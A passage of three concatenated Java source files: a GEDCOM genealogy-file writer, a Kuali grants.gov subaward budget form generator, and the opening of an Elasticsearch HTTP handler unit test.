out.close();
}
public void write(Gedcom gedcom, OutputStream out) throws IOException {
stack = new Stack<Object>();
nestedException = null;
String charset = getCharsetName(gedcom);
eol = (charset.equals("x-MacRoman") ? "\r" : "\n");
OutputStreamWriter writer;
if ("ANSEL".equals(charset)) {
writer = new AnselOutputStreamWriter(out);
}
else {
writer = new OutputStreamWriter(out, charset);
}
this.out = new BufferedWriter(writer);
gedcom.accept(this);
this.out.write("0 TRLR"+eol);
this.out.flush();
if (nestedException != null) {
throw nestedException;
}
}
private String getCharsetName(Gedcom gedcom) {
Header header = gedcom.getHeader();
String generator = (header != null && header.getGenerator() != null ? header.getGenerator().getValue() : null);
String charset = (header != null && header.getCharacterSet() != null ? header.getCharacterSet().getValue() : null);
String version = (header != null && header.getCharacterSet() != null ? header.getCharacterSet().getVersion() : null);
charset = GedcomParser.getCorrectedCharsetName(generator, charset, version);
if (charset.length() == 0) {
charset = "UTF-8"; // default
}
return charset;
}
private void write(String tag, String id, String ref, String value, boolean forceValueOnSeparateLine) {
try {
int level = stack.size();
out.write(level+" ");
if (id != null && id.length() > 0) {
out.write("@"+id+"@ ");
}
out.write(tag);
if (ref != null && ref.length() > 0) {
out.write(" @"+ref+"@");
}
if (value != null && value.length() > 0) {
if (forceValueOnSeparateLine && !value.startsWith("\n")) {
out.write(eol+(level+1)+" CONC ");
}
else {
out.write(" ");
}
StringBuilder buf = new StringBuilder(value);
int cnt = 0;
boolean lastLine = false;
while (!lastLine) {
int nlPos = buf.indexOf("\n");
String line;
if (nlPos >= 0) {
line = buf.substring(0, nlPos);
buf.delete(0,nlPos+1);
}
else {
line = buf.toString();
lastLine = true;
}
if (cnt > 0) {
out.write(eol+(level+1)+" CONT ");
}
while (line.length() > 200) {
out.write(line.substring(0,200));
line = line.substring(200);
out.write(eol+(level+1)+" CONC ");
}
out.write(line);
cnt++;
}
}
out.write(eol);
} catch (IOException e) {
nestedException = e;
}
}
private void write(String tag, String id, String ref, String value) {
write(tag, id, ref, value, false);
}
private void write(String tag) {
write(tag, null, null, null);
}
private void write(String tag, String value) {
write(tag, null, null, value);
}
private void writeFieldExtensions(String fieldName, ExtensionContainer ec) {
@SuppressWarnings("unchecked")
List<GedcomTag> moreTags = (List<GedcomTag>)ec.getExtension(ModelParser.MORE_TAGS_EXTENSION_KEY);
if (moreTags != null) {
for (GedcomTag tag : moreTags) {
if (fieldName.equals(tag.getParentTagName())) {
stack.push(new Object()); // placeholder
writeGedcomTag(tag);
stack.pop();
}
}
}
}
private void writeString(String tag, ExtensionContainer ec, String value) {
if (value != null && value.length() > 0) {
write(tag, value);
writeFieldExtensions(tag, ec);
}
}
private void writeRef(String tag, ExtensionContainer ec, String ref) {
if (ref != null && ref.length() > 0) {
write(tag, null, ref, null);
writeFieldExtensions(tag, ec);
}
}
@Override
public boolean visit(Address address) {
write("ADDR", address.getValue());
stack.push(address);
writeString("ADR1", address, address.getAddressLine1());
writeString("ADR2", address, address.getAddressLine2());
writeString("CITY", address, address.getCity());
writeString("STAE", address, address.getState());
writeString("POST", address, address.getPostalCode());
writeString("CTRY", address, address.getCountry());
writeString("_NAME", address, address.getName());
return true;
}
@Override
public boolean visit(Association association) {
write("ASSO", null, association.getRef(), null);
stack.push(association);
writeString("TYPE", association, association.getType());
writeString("RELA", association, association.getRelation());
return true;
}
@Override
public boolean visit(Change change) {
write("CHAN");
stack.push(change);
return true;
}
@Override
public boolean visit(CharacterSet characterSet) {
write("CHAR", characterSet.getValue());
stack.push(characterSet);
writeString("VERS", characterSet, characterSet.getVersion());
return true;
}
@Override
public boolean visit(ChildRef childRef) {
write("CHIL", null, childRef.getRef(), null);
stack.push(childRef);
writeSpouseRefStrings(childRef);
return true;
}
@Override
public boolean visit(DateTime dateTime) {
write("DATE", dateTime.getValue());
stack.push(dateTime);
writeString("TIME", dateTime, dateTime.getTime());
return true;
}
private void writeEventFactStrings(EventFact eventFact) {
writeString("TYPE", eventFact, eventFact.getType());
writeString("DATE", eventFact, eventFact.getDate());
writeString("PLAC", eventFact, eventFact.getPlace());
writeString("CAUS", eventFact, eventFact.getCause());
writeString("RIN", eventFact, eventFact.getRin());
writeString(eventFact.getUidTag(), eventFact, eventFact.getUid());
}
@Override
public boolean visit(EventFact eventFact) {
write(eventFact.getTag(), eventFact.getValue());
stack.push(eventFact);
writeEventFactStrings(eventFact);
return true;
}
private void writeGedcomTag(GedcomTag tag) {
write(tag.getTag(), tag.getId(), tag.getRef(), tag.getValue());
stack.push(tag);
for (GedcomTag child : tag.getChildren()) {
writeGedcomTag(child);
}
stack.pop();
}
@Override
public boolean visit(String extensionKey, Object extension) {
if (ModelParser.MORE_TAGS_EXTENSION_KEY.equals(extensionKey)) {
@SuppressWarnings("unchecked")
List<GedcomTag> moreTags = (List<GedcomTag>)extension;
for (GedcomTag tag : moreTags) {
if (tag.getParentTagName() == null) { // if field name is not null, the extension should have been written already
writeGedcomTag(tag);
}
}
}
return true;
}
private void writePersonFamilyCommonContainerStrings(PersonFamilyCommonContainer pf) {
for (String refn : pf.getReferenceNumbers()) {
// it's a problem if there's multiple refns with sub-tags
writeString("REFN", pf, refn);
}
writeString("RIN", pf, pf.getRin());
writeString(pf.getUidTag(), pf, pf.getUid());
}
@Override
public boolean visit(Family family) {
write("FAM", family.getId(), null, null);
stack.push(family);
writePersonFamilyCommonContainerStrings(family);
return true;
}
@Override
public boolean visit(Gedcom gedcom) {
return true;
}
@Override
public boolean visit(GedcomVersion gedcomVersion) {
write("GEDC");
stack.push(gedcomVersion);
writeString("VERS", gedcomVersion, gedcomVersion.getVersion());
writeString("FORM", gedcomVersion, gedcomVersion.getForm());
return true;
}
@Override
public boolean visit(Generator generator) {
write("SOUR", generator.getValue());
stack.push(generator);
writeString("NAME", generator, generator.getName());
writeString("VERS", generator, generator.getVersion());
return true;
}
@Override
public boolean visit(GeneratorCorporation generatorCorporation) {
write("CORP", generatorCorporation.getValue());
stack.push(generatorCorporation);
writeString("PHON", generatorCorporation, generatorCorporation.getPhone());
writeString(generatorCorporation.getWwwTag(), generatorCorporation, generatorCorporation.getWww());
return true;
}
@Override
public boolean visit(GeneratorData generatorData) {
write("DATA", generatorData.getValue());
stack.push(generatorData);
writeString("DATE", generatorData, generatorData.getDate());
writeString("COPR", generatorData, generatorData.getCopyright());
return true;
}
@Override
public boolean visit(Header header) {
write("HEAD");
stack.push(header);
writeString("DEST", header, header.getDestination());
writeString("FILE", header, header.getFile());
writeString("COPR", header, header.getCopyright());
writeString("LANG", header, header.getLanguage());
writeRef("SUBM", header, header.getSubmitterRef());
writeRef("SUBN", header, header.getSubmissionRef());
return true;
}
@Override
public boolean visit(LdsOrdinance ldsOrdinance) {
write(ldsOrdinance.getTag(), ldsOrdinance.getValue());
stack.push(ldsOrdinance);
writeEventFactStrings(ldsOrdinance);
writeString("STAT", ldsOrdinance, ldsOrdinance.getStatus());
writeString("TEMP", ldsOrdinance, ldsOrdinance.getTemple());
return true;
}
@Override
public boolean visit(Media media) {
write("OBJE", media.getId(), null, null);
stack.push(media);
writeString("FORM", media, media.getFormat());
writeString("TITL", media, media.getTitle());
writeString("BLOB", media, media.getBlob());
writeString(media.getFileTag(), media, media.getFile());
writeString("_PRIM", media, media.getPrimary());
writeString("_TYPE", media, media.getType());
writeString("_SCBK", media, media.getScrapbook());
writeString("_SSHOW", media, media.getSlideShow());
return true;
}
@Override
public boolean visit(MediaRef mediaRef) {
write("OBJE", null, mediaRef.getRef(), null);
stack.push(mediaRef);
return true;
}
@Override
public boolean visit(Name name) {
// handle ALIA name by recording it with that tag
String tag;
String type = name.getType();
if ("ALIA".equals(type)) {
tag = type;
type = null;
}
else {
tag = "NAME";
}
write(tag, name.getValue());
stack.push(name);
writeString("GIVN", name, name.getGiven());
writeString("SURN", name, name.getSurname());
writeString("NPFX", name, name.getPrefix());
writeString("NSFX", name, name.getSuffix());
writeString("SPFX", name, name.getSurnamePrefix());
writeString("NICK", name, name.getNickname());
writeString(name.getTypeTag(), name, type);
writeString(name.getAkaTag(), name, name.getAka());
writeString(name.getMarriedNameTag(), name, name.getMarriedName());
return true;
}
@Override
public boolean visit(Note note) {
boolean visitChildren = false;
if (note.isSourceCitationsUnderValue() && note.getSourceCitations().size() > 0 &&
note.getValue() != null && note.getValue().length() > 0) {
// yuck: handle Reunion broken citations: 0 NOTE 1 CONT ... 2 SOUR; also Easytree: 0 NOTE 1 CONC ... 2 SOUR
write("NOTE", note.getId(), null, note.getValue(), true);
stack.push(note);
stack.push(new Object()); // increment level to 2
for (SourceCitation sc : note.getSourceCitations()) {
sc.accept(this);
}
stack.pop();
visitChildren = true;
}
else {
write("NOTE", note.getId(), null, note.getValue());
stack.push(note);
}
// write note strings
writeString("RIN", note, note.getRin());
if (visitChildren) {
// if we return false below we need to visit the rest of the children and pop the stack here
note.visitContainedObjects(this, false);
stack.pop();
}
return !visitChildren;
}
@Override
public boolean visit(NoteRef noteRef) {
write("NOTE", null, noteRef.getRef(), null);
stack.push(noteRef);
return true;
}
@Override
public boolean visit(ParentFamilyRef parentFamilyRef) {
write("FAMC", null, parentFamilyRef.getRef(), null);
stack.push(parentFamilyRef);
writeSpouseFamilyRefStrings(parentFamilyRef);
writeString("PEDI", parentFamilyRef, parentFamilyRef.getRelationshipType());
writeString("_PRIMARY", parentFamilyRef, parentFamilyRef.getPrimary());
return true;
}
@Override
public boolean visit(ParentRelationship parentRelationship, boolean isFather) {
write(isFather ? "_FREL" : "_MREL", parentRelationship.getValue());
stack.push(parentRelationship);
return true;
}
@Override
public boolean visit(Person person) {
write("INDI", person.getId(), null, null);
stack.push(person);
writeRef("ANCI", person, person.getAncestorInterestSubmitterRef());
writeRef("DESI", person, person.getDescendantInterestSubmitterRef());
writeString("RFN", person, person.getRecordFileNumber());
writeString("PHON", person, person.getPhone());
writeString(person.getEmailTag(), person, person.getEmail());
writePersonFamilyCommonContainerStrings(person);
return true;
}
@Override
public boolean visit(Repository repository) {
write("REPO", repository.getId(), null, repository.getValue());
stack.push(repository);
writeString("NAME", repository, repository.getName());
writeString("PHON", repository, repository.getPhone());
writeString("RIN", repository, repository.getRin());
writeString(repository.getEmailTag(), repository, repository.getEmail());
writeString(repository.getWwwTag(), repository, repository.getWww());
return true;
}
@Override
public boolean visit(RepositoryRef repositoryRef) {
write("REPO", null, repositoryRef.getRef(), repositoryRef.getValue());
stack.push(repositoryRef);
if (repositoryRef.isMediUnderCalnTag() ||
(repositoryRef.getCallNumber() != null && repositoryRef.getCallNumber().length() > 0)) {
write("CALN", repositoryRef.getCallNumber());
}
if (repositoryRef.isMediUnderCalnTag()) {
stack.push(new Object()); // placeholder
}
writeString("MEDI", repositoryRef, repositoryRef.getMediaType());
if (repositoryRef.isMediUnderCalnTag()) {
stack.pop();
}
return true;
}
@Override
public boolean visit(Source source) {
write("SOUR", source.getId(), null, null);
stack.push(source);
writeString("AUTH", source, source.getAuthor());
writeString("TITL", source, source.getTitle());
writeString("ABBR", source, source.getAbbreviation());
writeString("PUBL", source, source.getPublicationFacts());
writeString("TEXT", source, source.getText());
writeString("REFN", source, source.getReferenceNumber());
writeString("RIN", source, source.getRin());
writeString("MEDI", source, source.getMediaType());
writeString("CALN", source, source.getCallNumber());
writeString(source.getTypeTag(), source, source.getType());
writeString(source.getUidTag(), source, source.getUid());
writeString("_PAREN", source, source.getParen());
writeString("_ITALIC", source, source.getItalic());
writeString("DATE", source, source.getDate());
return true;
}
private void writeUnderData(String tag, SourceCitation sourceCitation, String value) {
if (value != null && value.length() > 0) {
write("DATA");
stack.push(new Object()); // placeholder
writeString(tag, sourceCitation, value);
stack.pop();
}
}
@Override
public boolean visit(SourceCitation sourceCitation) {
write("SOUR", null, sourceCitation.getRef(), sourceCitation.getValue());
stack.push(sourceCitation);
writeString("PAGE", sourceCitation, sourceCitation.getPage());
writeString("QUAY", sourceCitation, sourceCitation.getQuality());
if (sourceCitation.getDataTagContents() == SourceCitation.DataTagContents.COMBINED &&
(sourceCitation.getDate() != null && sourceCitation.getDate().length() > 0 ||
sourceCitation.getText() != null && sourceCitation.getText().length() > 0)) {
write("DATA");
stack.push(new Object()); // placeholder
writeString("DATE", sourceCitation, sourceCitation.getDate());
writeString("TEXT", sourceCitation, sourceCitation.getText());
stack.pop();
}
else if (sourceCitation.getDataTagContents() == SourceCitation.DataTagContents.DATE) {
writeUnderData("DATE", sourceCitation, sourceCitation.getDate());
writeString("TEXT", sourceCitation, sourceCitation.getText());
}
else if (sourceCitation.getDataTagContents() == SourceCitation.DataTagContents.TEXT) {
writeUnderData("TEXT", sourceCitation, sourceCitation.getText());
writeString("DATE", sourceCitation, sourceCitation.getDate());
}
else if (sourceCitation.getDataTagContents() == SourceCitation.DataTagContents.SEPARATE) {
writeUnderData("DATE", sourceCitation, sourceCitation.getDate());
writeUnderData("TEXT", sourceCitation, sourceCitation.getText());
}
else if (sourceCitation.getDataTagContents() == null) {
writeString("DATE", sourceCitation, sourceCitation.getDate());
writeString("TEXT", sourceCitation, sourceCitation.getText());
}
return true;
}
private void writeSpouseRefStrings(SpouseRef spouseRef) {
writeString("_PREF", spouseRef, spouseRef.getPreferred());
}
@Override
public boolean visit(SpouseRef spouseRef, boolean isHusband) {
write(isHusband ? "HUSB" : "WIFE", null, spouseRef.getRef(), null);
stack.push(spouseRef);
writeSpouseRefStrings(spouseRef);
return true;
}
private void writeSpouseFamilyRefStrings(SpouseFamilyRef spouseFamilyRef) {
// nothing to write
}
@Override
public boolean visit(SpouseFamilyRef spouseFamilyRef) {
write("FAMS", null, spouseFamilyRef.getRef(), null);
stack.push(spouseFamilyRef);
writeSpouseFamilyRefStrings(spouseFamilyRef);
return true;
}
@Override
public boolean visit(Submission submission) {
write("SUBN", submission.getId(), null, null);
stack.push(submission);
writeString("DESC", submission, submission.getDescription());
writeString("ORDI", submission, submission.getOrdinanceFlag());
return true;
}
@Override
public boolean visit(Submitter submitter) {
write("SUBM", submitter.getId(), null, submitter.getValue());
stack.push(submitter);
writeString("PHON", submitter, submitter.getPhone());
writeString("NAME", submitter, submitter.getName());
writeString("RIN", submitter, submitter.getRin());
writeString("LANG", submitter, submitter.getLanguage());
writeString(submitter.getWwwTag(), submitter, submitter.getWww());
writeString(submitter.getEmailTag(), submitter, submitter.getEmail());
return true;
}
@Override
public void endVisit(ExtensionContainer obj) {
if (!(obj instanceof Gedcom)) {
stack.pop();
}
}
}
| |
/*
* Copyright 2005-2014 The Kuali Foundation.
*
* Licensed under the Educational Community License, Version 1.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.opensource.org/licenses/ecl1.php
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.kuali.kra.s2s.generator.impl;
import gov.grants.apply.forms.rrFedNonFedBudget10V11.RRFedNonFedBudget10Document;
import gov.grants.apply.forms.rrFedNonFedBudget10V11.RRFedNonFedBudget10Document.RRFedNonFedBudget10;
import gov.grants.apply.forms.rrFedNonFedSubawardBudget1030V12.RRFedNonFedSubawardBudget1030Document;
import gov.grants.apply.forms.rrFedNonFedSubawardBudget1030V12.RRFedNonFedSubawardBudget1030Document.RRFedNonFedSubawardBudget1030;
import gov.grants.apply.forms.rrFedNonFedSubawardBudget1030V12.RRFedNonFedSubawardBudget1030Document.RRFedNonFedSubawardBudget1030.BudgetAttachments;
import gov.grants.apply.forms.rrFedNonFedSubawardBudgetV12.RRFedNonFedSubawardBudgetDocument;
import org.apache.xmlbeans.XmlException;
import org.apache.xmlbeans.XmlObject;
import org.kuali.kra.proposaldevelopment.budget.bo.BudgetSubAwards;
import org.kuali.kra.proposaldevelopment.document.ProposalDevelopmentDocument;
import org.kuali.kra.s2s.S2SException;
import org.kuali.kra.s2s.util.S2SConstants;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
/**
* Class for generating the XML object for grants.gov RRSubAwardBudgetV1.2. Form is generated using XMLBean classes and is based on
* RRSubAwardBudget schema.
*
* @author Kuali Research Administration Team (kualidev@oncourse.iu.edu)
*/
public class RRFedNonFedSubAwardBudget10_30V1_2Generator extends S2SAdobeFormAttachmentBaseGenerator {
private static final String RR_FED_NON_FED_BUDGET1030_11_NAMESPACE_URI = "http://apply.grants.gov/forms/RR_FedNonFedBudget10-V1.1";
private static final String LOCAL_FED_NON_FED_NAME = "RR_FedNonFedBudget10";
/**
*
* This method is to get SubAward Budget details
*
* @return rrSubawardBudgetDocument {@link XmlObject} of type RRFedNonFedSubawardBudgetDocument.
*/
private RRFedNonFedSubawardBudget1030Document getRRFedNonFedSubawardBudgetDocument() {
RRFedNonFedSubawardBudget1030Document rrSubawardBudgetDocument = RRFedNonFedSubawardBudget1030Document.Factory.newInstance();
RRFedNonFedSubawardBudget1030 rrSubawardBudget = RRFedNonFedSubawardBudget1030.Factory.newInstance();
BudgetAttachments budgetAttachments = BudgetAttachments.Factory.newInstance();
List<BudgetSubAwards> budgetSubAwardsList = getBudgetSubAwards(pdDoc,RR_FED_NON_FED_BUDGET1030_11_NAMESPACE_URI,false);
RRFedNonFedBudget10[] budgetList = new RRFedNonFedBudget10[budgetSubAwardsList.size()];
rrSubawardBudget.setFormVersion(S2SConstants.FORMVERSION_1_2);
int attCount = 1;
for (BudgetSubAwards budgetSubAwards : budgetSubAwardsList) {
RRFedNonFedBudget10 rrBudget = getRRFedNonFedBudget(budgetSubAwards).getRRFedNonFedBudget10();
switch (attCount) {
case 1:
rrSubawardBudget.setATT1(prepareAttName(budgetSubAwards));
budgetList[0] = rrBudget;
break;
case 2:
rrSubawardBudget.setATT2(prepareAttName(budgetSubAwards));
budgetList[1] = rrBudget;
break;
case 3:
rrSubawardBudget.setATT3(prepareAttName(budgetSubAwards));
budgetList[2] = rrBudget;
break;
case 4:
rrSubawardBudget.setATT4(prepareAttName(budgetSubAwards));
budgetList[3] = rrBudget;
break;
case 5:
rrSubawardBudget.setATT5(prepareAttName(budgetSubAwards));
budgetList[4] = rrBudget;
break;
case 6:
rrSubawardBudget.setATT6(prepareAttName(budgetSubAwards));
budgetList[5] = rrBudget;
break;
case 7:
rrSubawardBudget.setATT7(prepareAttName(budgetSubAwards));
budgetList[6] = rrBudget;
break;
case 8:
rrSubawardBudget.setATT8(prepareAttName(budgetSubAwards));
budgetList[7] = rrBudget;
break;
case 9:
rrSubawardBudget.setATT9(prepareAttName(budgetSubAwards));
budgetList[8] = rrBudget;
break;
case 10:
rrSubawardBudget.setATT10(prepareAttName(budgetSubAwards));
budgetList[9] = rrBudget;
break;
case 11:
rrSubawardBudget.setATT11(prepareAttName(budgetSubAwards));
budgetList[10] = rrBudget;
break;
case 12:
rrSubawardBudget.setATT12(prepareAttName(budgetSubAwards));
budgetList[11] = rrBudget;
break;
case 13:
rrSubawardBudget.setATT13(prepareAttName(budgetSubAwards));
budgetList[12] = rrBudget;
break;
case 14:
rrSubawardBudget.setATT14(prepareAttName(budgetSubAwards));
budgetList[13] = rrBudget;
break;
case 15:
rrSubawardBudget.setATT15(prepareAttName(budgetSubAwards));
budgetList[14] = rrBudget;
break;
case 16:
rrSubawardBudget.setATT16(prepareAttName(budgetSubAwards));
budgetList[15] = rrBudget;
break;
case 17:
rrSubawardBudget.setATT17(prepareAttName(budgetSubAwards));
budgetList[16] = rrBudget;
break;
case 18:
rrSubawardBudget.setATT18(prepareAttName(budgetSubAwards));
budgetList[17] = rrBudget;
break;
case 19:
rrSubawardBudget.setATT19(prepareAttName(budgetSubAwards));
budgetList[18] = rrBudget;
break;
case 20:
rrSubawardBudget.setATT20(prepareAttName(budgetSubAwards));
budgetList[19] = rrBudget;
break;
case 21:
rrSubawardBudget.setATT21(prepareAttName(budgetSubAwards));
budgetList[20] = rrBudget;
break;
case 22:
rrSubawardBudget.setATT22(prepareAttName(budgetSubAwards));
budgetList[21] = rrBudget;
break;
case 23:
rrSubawardBudget.setATT23(prepareAttName(budgetSubAwards));
budgetList[22] = rrBudget;
break;
case 24:
rrSubawardBudget.setATT24(prepareAttName(budgetSubAwards));
budgetList[23] = rrBudget;
break;
case 25:
rrSubawardBudget.setATT25(prepareAttName(budgetSubAwards));
budgetList[24] = rrBudget;
break;
case 26:
rrSubawardBudget.setATT26(prepareAttName(budgetSubAwards));
budgetList[25] = rrBudget;
break;
case 27:
rrSubawardBudget.setATT27(prepareAttName(budgetSubAwards));
budgetList[26] = rrBudget;
break;
case 28:
rrSubawardBudget.setATT28(prepareAttName(budgetSubAwards));
budgetList[27] = rrBudget;
break;
case 29:
rrSubawardBudget.setATT29(prepareAttName(budgetSubAwards));
budgetList[28] = rrBudget;
break;
case 30:
rrSubawardBudget.setATT30(prepareAttName(budgetSubAwards));
budgetList[29] = rrBudget;
break;
}
addSubAwdAttachments(budgetSubAwards);
attCount++;
}
budgetAttachments.setRRFedNonFedBudget10Array(budgetList);
rrSubawardBudget.setBudgetAttachments(budgetAttachments);
rrSubawardBudgetDocument.setRRFedNonFedSubawardBudget1030(rrSubawardBudget);
return rrSubawardBudgetDocument;
}
/**
*
* This method is used to get RRFedNonFedBudget from BudgetSubAwards
*
* @param budgetSubAwards(BudgetSubAwards) budget sub awards entry.
* @return RRFedNonFedBudget corresponding to the BudgetSubAwards object.
*/
private RRFedNonFedBudget10Document getRRFedNonFedBudget(BudgetSubAwards budgetSubAwards) {
RRFedNonFedBudget10Document rrBudget = RRFedNonFedBudget10Document.Factory.newInstance();
String subAwdXML = budgetSubAwards.getSubAwardXmlFileData();
Document subAwdFormsDoc;
try {
subAwdFormsDoc = stringToDom(subAwdXML);
}
catch (S2SException e1) {
return rrBudget;
}
Element subAwdFormsElement = subAwdFormsDoc.getDocumentElement();
NodeList subAwdNodeList = subAwdFormsElement.getElementsByTagNameNS(RR_FED_NON_FED_BUDGET1030_11_NAMESPACE_URI, LOCAL_FED_NON_FED_NAME);
Node subAwdNode = null;
if (subAwdNodeList != null){
if(subAwdNodeList.getLength() == 0) {
return null;
}
subAwdNode = subAwdNodeList.item(0);
}
byte[] subAwdNodeBytes = null;
try {
subAwdNodeBytes = docToBytes(nodeToDom(subAwdNode));
InputStream bgtIS = new ByteArrayInputStream(subAwdNodeBytes);
rrBudget = (RRFedNonFedBudget10Document) XmlObject.Factory.parse(bgtIS);
}
catch (S2SException e) {
return rrBudget;
}
catch (XmlException e) {
return rrBudget;
}
catch (IOException e) {
return rrBudget;
}
return rrBudget;
}
/**
* This method creates {@link XmlObject} of type {@link RRFedNonFedSubawardBudgetDocument} by populating data from the given
* {@link ProposalDevelopmentDocument}
*
* @param proposalDevelopmentDocument for which the {@link XmlObject} needs to be created
* @return {@link XmlObject} which is generated using the given {@link ProposalDevelopmentDocument}
* @see org.kuali.kra.s2s.generator.S2SFormGenerator#getFormObject(ProposalDevelopmentDocument)
*/
public XmlObject getFormObject(ProposalDevelopmentDocument proposalDevelopmentDocument) {
pdDoc=proposalDevelopmentDocument;
return getRRFedNonFedSubawardBudgetDocument();
}
/**
* This method typecasts the given {@link XmlObject} to the required generator type and returns back the document of that
* generator type.
*
* @param xmlObject which needs to be converted to the document type of the required generator
* @return {@link XmlObject} document of the required generator type
* @see org.kuali.kra.s2s.generator.S2SFormGenerator#getFormObject(XmlObject)
*/
public XmlObject getFormObject(XmlObject xmlObject) {
RRFedNonFedSubawardBudget1030 rrSubawardBudget = (RRFedNonFedSubawardBudget1030) xmlObject;
RRFedNonFedSubawardBudget1030Document rrSubawardBudgetDocument = RRFedNonFedSubawardBudget1030Document.Factory.newInstance();
rrSubawardBudgetDocument.setRRFedNonFedSubawardBudget1030(rrSubawardBudget);
return rrSubawardBudgetDocument;
}
}
| |
/*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.http.nio;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelPromise;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultFullHttpRequest;
import io.netty.handler.codec.http.FullHttpResponse;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpResponseDecoder;
import io.netty.handler.codec.http.HttpResponseStatus;
import io.netty.handler.codec.http.HttpUtil;
import io.netty.handler.codec.http.HttpVersion;
import org.elasticsearch.common.bytes.BytesArray;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.unit.ByteSizeValue;
import org.elasticsearch.common.unit.TimeValue;
import org.elasticsearch.http.CorsHandler;
import org.elasticsearch.http.HttpChannel;
import org.elasticsearch.http.HttpHandlingSettings;
import org.elasticsearch.http.HttpPipelinedRequest;
import org.elasticsearch.http.HttpPipelinedResponse;
import org.elasticsearch.http.HttpReadTimeoutException;
import org.elasticsearch.http.HttpRequest;
import org.elasticsearch.nio.FlushOperation;
import org.elasticsearch.nio.InboundChannelBuffer;
import org.elasticsearch.nio.SocketChannelContext;
import org.elasticsearch.nio.TaskScheduler;
import org.elasticsearch.rest.RestRequest;
import org.elasticsearch.rest.RestStatus;
import org.elasticsearch.test.ESTestCase;
import org.junit.Before;
import org.mockito.ArgumentCaptor;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import java.util.function.BiConsumer;
import static org.elasticsearch.http.HttpTransportSettings.SETTING_HTTP_MAX_CONTENT_LENGTH;
import static org.elasticsearch.http.HttpTransportSettings.SETTING_HTTP_READ_TIMEOUT;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.eq;
import static org.mockito.Mockito.atLeastOnce;
import static org.mockito.Mockito.doAnswer;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
public class HttpReadWriteHandlerTests extends ESTestCase {
private HttpReadWriteHandler handler;
private NioHttpChannel channel;
private NioHttpServerTransport transport;
private TaskScheduler taskScheduler;
private final RequestEncoder requestEncoder = new RequestEncoder();
private final ResponseDecoder responseDecoder = new ResponseDecoder();
@Before
public void setMocks() {
transport = mock(NioHttpServerTransport.class);
doAnswer(invocation -> {
((HttpRequest) invocation.getArguments()[0]).releaseAndCopy();
return null;
}).when(transport).incomingRequest(any(HttpRequest.class), any(HttpChannel.class));
Settings settings = Settings.builder().put(SETTING_HTTP_MAX_CONTENT_LENGTH.getKey(), new ByteSizeValue(1024)).build();
HttpHandlingSettings httpHandlingSettings = HttpHandlingSettings.fromSettings(settings);
channel = mock(NioHttpChannel.class);
taskScheduler = mock(TaskScheduler.class);
handler = new HttpReadWriteHandler(channel, transport, httpHandlingSettings, taskScheduler, System::nanoTime);
handler.channelActive();
}
public void testSuccessfulDecodeHttpRequest() throws IOException {
String uri = "localhost:9090/" + randomAlphaOfLength(8);
io.netty.handler.codec.http.HttpRequest httpRequest = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, uri);
ByteBuf buf = requestEncoder.encode(httpRequest);
int slicePoint = randomInt(buf.writerIndex() - 1);
ByteBuf slicedBuf = buf.retainedSlice(0, slicePoint);
ByteBuf slicedBuf2 = buf.retainedSlice(slicePoint, buf.writerIndex() - slicePoint);
try {
handler.consumeReads(toChannelBuffer(slicedBuf));
verify(transport, times(0)).incomingRequest(any(HttpRequest.class), any(NioHttpChannel.class));
handler.consumeReads(toChannelBuffer(slicedBuf2));
ArgumentCaptor<HttpRequest> requestCaptor = ArgumentCaptor.forClass(HttpRequest.class);
verify(transport).incomingRequest(requestCaptor.capture(), any(NioHttpChannel.class));
HttpRequest nioHttpRequest = requestCaptor.getValue();
assertEquals(HttpRequest.HttpVersion.HTTP_1_1, nioHttpRequest.protocolVersion());
assertEquals(RestRequest.Method.GET, nioHttpRequest.method());
} finally {
handler.close();
buf.release();
slicedBuf.release();
slicedBuf2.release();
}
}
public void testDecodeHttpRequestError() throws IOException {
String uri = "localhost:9090/" + randomAlphaOfLength(8);
io.netty.handler.codec.http.HttpRequest httpRequest = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, uri);
ByteBuf buf = requestEncoder.encode(httpRequest);
try {
buf.setByte(0, ' ');
buf.setByte(1, ' ');
buf.setByte(2, ' ');
handler.consumeReads(toChannelBuffer(buf));
ArgumentCaptor<HttpRequest> requestCaptor = ArgumentCaptor.forClass(HttpRequest.class);
verify(transport).incomingRequest(requestCaptor.capture(), any(NioHttpChannel.class));
assertNotNull(requestCaptor.getValue().getInboundException());
assertTrue(requestCaptor.getValue().getInboundException() instanceof IllegalArgumentException);
} finally {
buf.release();
}
}
public void testDecodeHttpRequestContentLengthToLongGeneratesOutboundMessage() throws IOException {
String uri = "localhost:9090/" + randomAlphaOfLength(8);
io.netty.handler.codec.http.HttpRequest httpRequest = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, uri, false);
HttpUtil.setContentLength(httpRequest, 1025);
HttpUtil.setKeepAlive(httpRequest, false);
ByteBuf buf = requestEncoder.encode(httpRequest);
try {
handler.consumeReads(toChannelBuffer(buf));
} finally {
buf.release();
}
verify(transport, times(0)).incomingRequest(any(), any());
List<FlushOperation> flushOperations = handler.pollFlushOperations();
assertFalse(flushOperations.isEmpty());
